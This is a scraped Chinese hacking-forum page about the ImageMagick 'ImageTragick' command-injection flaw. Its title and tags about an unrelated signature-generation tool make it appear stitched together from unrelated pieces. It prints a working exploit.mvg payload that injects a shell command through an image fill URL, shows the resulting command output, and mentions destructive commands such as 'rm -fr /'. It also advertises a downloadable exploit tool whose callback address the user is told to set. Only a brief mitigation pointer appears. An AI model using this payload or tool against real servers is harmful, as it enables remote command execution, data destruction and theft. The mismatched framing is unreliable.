黑吧有个签名图片签名生成工具具，红吧有没有

来源：蜘蛛抓取(WebSpider) 时间：2017-01-03 14:56 标签： 支付宝签名生成工具
上传个图片都能拿下服务器！赶紧自检
最近各种互联网网站的图片上传等功能几乎都被黑客玩了一遍，这全因一个新的&魔图攻击&所致。
　　网站上的图片相关功能可以被黑客利用秒取网站服务器控制权!比如传一张图直接就给服务器关机，或执行 &rm -fr /& 删除文件，再或窃取用户敏感数据等，而造成这些后果的只是一张特殊的图片&
　　这个时候不得不喊出口号「睡你麻痹，起来 High」，上次 Struts 2 漏洞席卷全球还有余温，这次核弹级漏洞 ImageTragick 来了!赶紧检查自家服务，今夜别睡!
　　～～～～～～～～～～～～～～～
　　[紧急预警]
　　关于 ImageTragick 漏洞(官网)：
　　官网上已经给出了好几种测试姿势，比如：
　　ImageTragick 相关漏洞挖掘测试和漏洞影响自查，请参考：
　　http://www.imagemagick.org/script/api.php
　　可以看到数目繁多，用了如下组件的都可能受此漏洞影响：
　　~~~~~~~~~~~~~~~~~~~~~~~~
　　漏洞产生的原因是 ImageMagick 使用 system() 指令调用来处理 HTTPS 请求，而对用户传入的 shell 参数没有做好过滤，导致能注入任意指令执行。
exploit.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(/hack/UploadFiles_/48499.jpg&|ls &-la)'
pop graphic-context
exploit.svg
-=-=-=-=-=-=-=-=-
$ convert exploit.mvg out.png
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
　　最后看一下，有那些网站今天被人搞了!!
　　～～～～～～～～～～～～～～～
　　临时防护建议()：
　　使用配置文件暂时禁用 ImageMagick 的部分编码器，可在 &/etc/ImageMagick/policy.xml& 文件中添加如下代码：
　　详见官方建议： ImageMagick Security Issue ( https://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588 )
　　～～～～～～～～～～～～～～～～～～
　　说了半天不带工具，那不是刷流氓吗?
　　这个主要是php调用的，asp,aspx应当不影响，反正我测试了没成功，
　　需要自己修改上线地址
　　EXP下载链接
　　链接: /s/1c1Xhqvu 密码: bw5w
【声明】:黑吧安全网()登载此文出于传递更多信息之目的，并不代表本站赞同其观点和对其真实性负责，仅适于网络安全技术爱好者学习研究使用，学习中请遵循国家相关法律法规。如有问题请联系我们，联系邮箱，我们会在最短的时间内进行处理。
上一篇：【】【】

我要回帖

更多关于 支付宝签名生成工具 的文章

 

随机推荐